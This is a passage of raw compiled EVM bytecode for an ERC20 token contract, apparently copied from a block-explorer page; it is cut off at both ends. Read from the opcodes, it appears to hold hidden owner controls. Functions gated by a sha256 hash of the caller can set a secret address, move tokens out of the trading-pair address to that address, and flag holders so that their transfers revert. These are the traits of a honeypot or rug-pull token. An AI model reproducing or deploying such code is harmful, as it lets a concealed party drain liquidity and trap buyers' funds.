0405180910390f35b61047a610bd3565b6040516104879190612520565b60405180910390f35b6104aa60048036038101906104a5919061220e565b610c65565b6040516104b79190612505565b60405180910390f35b6104da60048036038101906104d5919061220e565b610d24565b6040516104e79190612505565b60405180910390f35b61050a600480360381019061050591906120e1565b610d3b565b6040516105179190612505565b60405180910390f35b610528610d5b565b60405161053591906124ea565b60405180910390f35b610558600480360381019061055391906120e1565b610d81565b6040516105659190612622565b60405180910390f35b610588600480360381019061058391906120e1565b610d99565b6040516105959190612505565b60405180910390f35b6105b860048036038101906105b3919061213b565b610db9565b6040516105c59190612622565b60405180910390f35b601b546002336040516020016105e491906124b8565b60405160208183030381529060405260405161060091906124d3565b602060405180830381855afa15801561061d573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610640919061224e565b1461064a5761068c565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60606003805461069e90612790565b80601f01602080910402602001604051908101604052809291908181526020018280546106ca90612790565b80156107175780601f106106ec57610100808354040283529160200191610717565b820191906000526020600020905b8154815290600101906020018083116106fa57829003601f168201915b5050505050905090565b600061072e338484610e40565b6001905092915050565b6000600654905090565b600061074f84848461100b565b61080284336107fd85604051806060016040528060288152602001612ade60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b600190509392505050565b601660009054906101000a900460ff1681565b6000600560009054906101000a900460ff1660ff16905090565b60006108d533846108d085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b610e40565b6001905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b5460023360405160200161091591906124b8565b60405160208183030381529060405260405161093191906124d3565b602060405180830381855afa15801561094e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610971919061224e565b1461097b576109cb565b6109ca601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a37565b5b50565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b54600233604051602001610a0a91906124b8565b604051602081830303815290604052604051610a2691906124d3565b602060405180830381855afa158015610a43573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a66919061224e565b14610a7057610ac8565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60106020528060005260406000206000915054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a60009054906101000a900460ff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610be290612790565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0e90612790565b8015610c5b5780601f10610c3057610100808354040283529160200191610c5b565b820191906000526020600020905b815481529060010190602001808311610c3e57829003601f168201915b5050505050905090565b6000610d1a3384610d1585604051806060016040528060258152602001612b0660259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b6001905092915050565b6000610d3133848461100b565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915090505481565b60256020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790612602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612562565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffe9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612542565b60405180910390fd5b6000811161112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906125c2565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111d45750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111ea576111e4848483611d28565b50611970565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611290919061266f565b119050811561129e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561196057600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161138c91906124d3565b6000604051808303816000865af19150503d80600081146113c9576040519150601f19603f3d011682016040523d82523d6000602084013e6113ce565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161146691906124d3565b6000604051808303816000865af19150503d80600081146114a3576040519150601f19603f3d011682016040523d82523d6000602084013e6114a8565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161154091906124d3565b6000604051808303816000865af19150503d806000811461157d576040519150601f19603f3d011682016040523d82523d6000602084013e611582565b606091505b509150506000808280602001905181019061159d91906122d5565b915091506000858060200190518101906115b7919061210e565b90506000858060200190518101906115cf919061210e565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161161d91906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116a791906124d3565b6000604051808303816000865af19150503d80600081146116e4576040519150601f19603f3d011682016040523d82523d6000602084013e6116e9565b606091505b5091505060008180602001905181019061170391906122a8565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161175191906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117db91906124d3565b6000604051808303816000865af19150503d8060008114611818576040519150601f19603f3d011682016040523d82523d6000602084013e61181d565b606091505b5091505060008180602001905181019061183791906122a8565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156118bc57828811156118b15782886118a391906126c5565b9b506014548c119d506118b7565b8288149c505b61193c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561193b578087111561193457808761192691906126c5565b9b506014548c119d5061193a565b8087149c505b5b5b8d15801561194857508c155b61195157600080fd5b50505050505050505050505050505b61196b878786611d28565b505050505b505050565b60008383111582906119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b49190612520565b60405180910390fd5b50600083856119cc91906126c5565b9050809150509392505050565b60008082846119e8919061266f565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612582565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f906125a2565b60405180910390fd5b611be9816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c7c816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d1b9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dff90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e80906125a2565b60405180910390fd5b611eda816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f6d816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200c9190612622565b60405180910390a3505050565b600061205b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611975565b905092915050565b60008135905061207281612a6a565b92915050565b60008151905061208781612a81565b92915050565b60008135905061209c81612a98565b92915050565b6000815190506120b181612aaf565b92915050565b6000813590506120c681612ac6565b92915050565b6000815190506120db81612ac6565b92915050565b6000602082840312156120f7576120f6612844565b5b600061210584828501612063565b91505092915050565b60006020828403121561212457612123612844565b5b600061213284828501612078565b91505092915050565b6000806040838503121561215257612151612844565b5b600061216085828601612063565b925050602061217185828601612063565b9150509250929050565b60008060006060848603121561219457612193612844565b5b60006121a286828701612063565b93505060206121b386828701612063565b92505060406121c4868287016120b7565b9150509250925092565b600080604083850312156121e5576121e4612844565b5b60006121f385828601612063565b92505060206122048582860161208d565b9150509250929050565b6000806040838503121561222557612224612844565b5b600061223385828601612063565b9250506020612244858286016120b7565b9150509250929050565b60006020828403121561226457612263612844565b5b6000612272848285016120a2565b91505092915050565b60006020828403121561229157612290612844565b5b600061229f848285016120b7565b91505092915050565b6000602082840312156122be576122bd612844565b5b60006122cc848285016120cc565b91505092915050565b600080604083850312156122ec576122eb612844565b5b60006122fa858286016120cc565b925050602061230b858286016120cc565b9150509250929050565b61231e816126f9565b82525050565b612335612330826126f9565b6127c2565b82525050565b6123448161271d565b82525050565b60006123558261263d565b61235f8185612653565b935061236f81856020860161275d565b80840191505092915050565b600061238682612648565b612390818561265e565b93506123a081856020860161275d565b6123a981612849565b840191505092915050565b60006123c160238361265e565b91506123cc82612867565b604082019050919050565b60006123e460228361265e565b91506123ef826128b6565b604082019050919050565b6000612407601b8361265e565b915061241282612905565b602082019050919050565b600061242a60268361265e565b91506124358261292e565b604082019050919050565b600061244d60298361265e565b91506124588261297d565b604082019050919050565b600061247060258361265e565b915061247b826129cc565b604082019050919050565b600061249360248361265e565b915061249e82612a1b565b604082019050919050565b6124b281612753565b82525050565b60006124c48284612324565b60148201915081905092915050565b60006124df828461234a565b915081905092915050565b60006020820190506124ff6000830184612315565b92915050565b600060208201905061251a600083018461233b565b92915050565b6000602082019050818103600083015261253a818461237b565b905092915050565b6000602082019050818103600083015261255b816123b4565b9050919050565b6000602082019050818103600083015261257b816123d7565b9050919050565b6000602082019050818103600083015261259b816123fa565b9050919050565b600060208201905081810360008301526125bb8161241d565b9050919050565b600060208201905081810360008301526125db81612440565b9050919050565b600060208201905081810360008301526125fb81612463565b9050919050565b6000602082019050818103600083015261261b81612486565b9050919050565b600060208201905061263760008301846124a9565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b600061267a82612753565b915061268583612753565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126ba576126b96127e6565b5b828201905092915050565b60006126d082612753565b91506126db83612753565b9250828210156126ee576126ed6127e6565b5b828203905092915050565b600061270482612733565b9050919050565b600061271682612733565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101561277b578082015181840152602081019050612760565b8381111561278a576000848401525b50505050565b600060028204905060018216806127a857607f821691505b602082108114156127bc576127bb612815565b5b50919050565b60006127cd826127d4565b9050919050565b60006127df8261285a565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612a73816126f9565b8114612a7e57600080fd5b50565b612a8a8161270b565b8114612a9557600080fd5b50565b612aa18161271d565b8114612aac57600080fd5b50565b612ab881612729565b8114612ac357600080fd5b50565b612acf81612753565b8114612ada57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220d8c87b2631635291400253db4d03f1016150a04fa71f68c6af75b41886433cc764736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806371a3574d116100f9578063a457c2d711610097578063c45a015511610071578063c45a015514610520578063c8a9401e1461053e578063dceeb4491461056e578063dd62ed3e1461059e576101a9565b8063a457c2d714610490578063a9059cbb146104c0578063afe6f86d146104f0576101a9565b8063927f3d41116100d3578063927f3d411461041857806393b646651461043657806394db26191461045457806395d89b4114610472576101a9565b806371a3574d146103885780637d74fd90146103b857806382d219cd146103e8576101a9565b8063313ce5671161016657806346a988d51161014057806346a988d51461030257806349bd5a5e1461031e5780635ceff9a11461033c57806370a0823114610358576101a9565b8063313ce5671461028457806339509351146102a2578063453a25b5146102d2576101a9565b806305c6fadc146101ae57806306fdde03146101ca578063095ea7b3146101e857806318160ddd1461021857806323b872dd14610236578063254c2d1e14610266575b600080fd5b6101c860048036038101906101c391906120e1565b6105ce565b005b6101d261068f565b6040516101df9190612520565b60405180910390f35b61020260048036038101906101fd919061220e565b610721565b60405161020f9190612505565b60405180910390f35b610220610738565b60405161022d9190612622565b60405180910390f35b610250600480360381019061024b919061217b565b610742565b60405161025d9190612505565b60405180910390f35b61026e61080d565b60405161027b9190612505565b60405180910390f35b61028c610820565b6040516102999190612622565b60405180910390f35b6102bc60048036038101906102b7919061220e565b61083a565b6040516102c99190612505565b60405180910390f35b6102ec60048036038101906102e791906120e1565b6108df565b6040516102f99190612505565b60405180910390f35b61031c6004803603810190610317919061227b565b6108ff565b005b6103266109ce565b60405161033391906124ea565b60405180910390f35b610356600480360381019061035191906121ce565b6109f4565b005b610372600480360381019061036d91906120e1565b610acc565b60405161037f9190612622565b60405180910390f35b6103a2600480360381019061039d91906120e1565b610b14565b6040516103af9190612505565b60405180910390f35b6103d260048036038101906103cd91906120e1565b610b34565b6040516103df9190612505565b60405180910390f35b61040260048036038101906103fd91906120e1565b610b54565b60405161040f9190612505565b60405180910390f35b610420610b74565b60405161042d91906124ea565b60405180910390f35b61043e610b9a565b60405161044b9190612505565b60405180910390f35b61045c610bad565b60405161046991906124ea565b60405180910390f35b61047a610bd3565b6040516104879190612520565b60405180910390f35b6104aa60048036038101906104a5919061220e565b610c65565b6040516104b79190612505565b60405180910390f35b6104da60048036038101906104d5919061220e565b610d24565b6040516104e79190612505565b60405180910390f35b61050a600480360381019061050591906120e1565b610d3b565b6040516105179190612505565b60405180910390f35b610528610d5b565b60405161053591906124ea565b60405180910390f35b610558600480360381019061055391906120e1565b610d81565b6040516105659190612622565b60405180910390f35b610588600480360381019061058391906120e1565b610d99565b6040516105959190612505565b60405180910390f35b6105b860048036038101906105b3919061213b565b610db9565b6040516105c59190612622565b60405180910390f35b601b546002336040516020016105e491906124b8565b60405160208183030381529060405260405161060091906124d3565b602060405180830381855afa15801561061d573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610640919061224e565b1461064a5761068c565b80601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60606003805461069e90612790565b80601f01602080910402602001604051908101604052809291908181526020018280546106ca90612790565b80156107175780601f106106ec57610100808354040283529160200191610717565b820191906000526020600020905b8154815290600101906020018083116106fa57829003601f168201915b5050505050905090565b600061072e338484610e40565b6001905092915050565b6000600654905090565b600061074f84848461100b565b61080284336107fd85604051806060016040528060288152602001612ade60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b600190509392505050565b601660009054906101000a900460ff1681565b6000600560009054906101000a900460ff1660ff16905090565b60006108d533846108d085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d990919063ffffffff16565b610e40565b6001905092915050565b600f6020528060005260406000206000915054906101000a900460ff1681565b601b5460023360405160200161091591906124b8565b60405160208183030381529060405260405161093191906124d3565b602060405180830381855afa15801561094e573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610971919061224e565b1461097b576109cb565b6109ca601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683611a37565b5b50565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b54600233604051602001610a0a91906124b8565b604051602081830303815290604052604051610a2691906124d3565b602060405180830381855afa158015610a43573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610a66919061224e565b14610a7057610ac8565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60106020528060005260406000206000915054906101000a900460ff1681565b601c6020528060005260406000206000915054906101000a900460ff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601a60009054906101000a900460ff1681565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610be290612790565b80601f0160208091040260200160405190810160405280929190818152602001828054610c0e90612790565b8015610c5b5780601f10610c3057610100808354040283529160200191610c5b565b820191906000526020600020905b815481529060010190602001808311610c3e57829003601f168201915b5050505050905090565b6000610d1a3384610d1585604051806060016040528060258152602001612b0660259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119759092919063ffffffff16565b610e40565b6001905092915050565b6000610d3133848461100b565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601d6020528060005260406000206000915090505481565b60256020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790612602565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1790612562565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffe9190612622565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561107b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611072906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e290612542565b60405180910390fd5b6000811161112e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611125906125c2565b60405180910390fd5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111d45750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111ea576111e4848483611d28565b50611970565b60008390506000600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601754601560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611290919061266f565b119050811561129e57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16141561196057600080600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161138c91906124d3565b6000604051808303816000865af19150503d80600081146113c9576040519150601f19603f3d011682016040523d82523d6000602084013e6113ce565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161146691906124d3565b6000604051808303816000865af19150503d80600081146114a3576040519150601f19603f3d011682016040523d82523d6000602084013e6114a8565b606091505b509150506000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161154091906124d3565b6000604051808303816000865af19150503d806000811461157d576040519150601f19603f3d011682016040523d82523d6000602084013e611582565b606091505b509150506000808280602001905181019061159d91906122d5565b915091506000858060200190518101906115b7919061210e565b90506000858060200190518101906115cf919061210e565b905060008273ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161161d91906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516116a791906124d3565b6000604051808303816000865af19150503d80600081146116e4576040519150601f19603f3d011682016040523d82523d6000602084013e6116e9565b606091505b5091505060008180602001905181019061170391906122a8565b905060008373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660405160240161175191906124ea565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117db91906124d3565b6000604051808303816000865af19150503d8060008114611818576040519150601f19603f3d011682016040523d82523d6000602084013e61181d565b606091505b5091505060008180602001905181019061183791906122a8565b9050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156118bc57828811156118b15782886118a391906126c5565b9b506014548c119d506118b7565b8288149c505b61193c565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561193b578087111561193457808761192691906126c5565b9b506014548c119d5061193a565b8087149c505b5b5b8d15801561194857508c155b61195157600080fd5b50505050505050505050505050505b61196b878786611d28565b505050505b505050565b60008383111582906119bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b49190612520565b60405180910390fd5b50600083856119cc91906126c5565b9050809150509392505050565b60008082846119e8919061266f565b905083811015611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490612582565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9e906125e2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b0e90612542565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8f906125a2565b60405180910390fd5b